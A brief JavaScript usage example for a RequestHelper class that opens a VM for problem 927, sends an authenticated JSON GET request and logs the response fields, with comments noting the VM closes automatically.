// const ph = await new ProblemHelper(927)
//
// const rh = new RequestHelper(await ph.openVM());

// this works well.
const rh = await RequestHelper.from(927);
rh.setContentType("application/json");
rh.setBearerAuth(tokenRes.json.token);
const res = await rh.get("/");
console.log(res.ok);
console.log(res.status);
console.log(res.bytes);
console.log(res.text);
console.log(res.json);
console.log(res.formData);

// in fact, you don't need to close vm. it will close automatically
// await ph.closeVM();
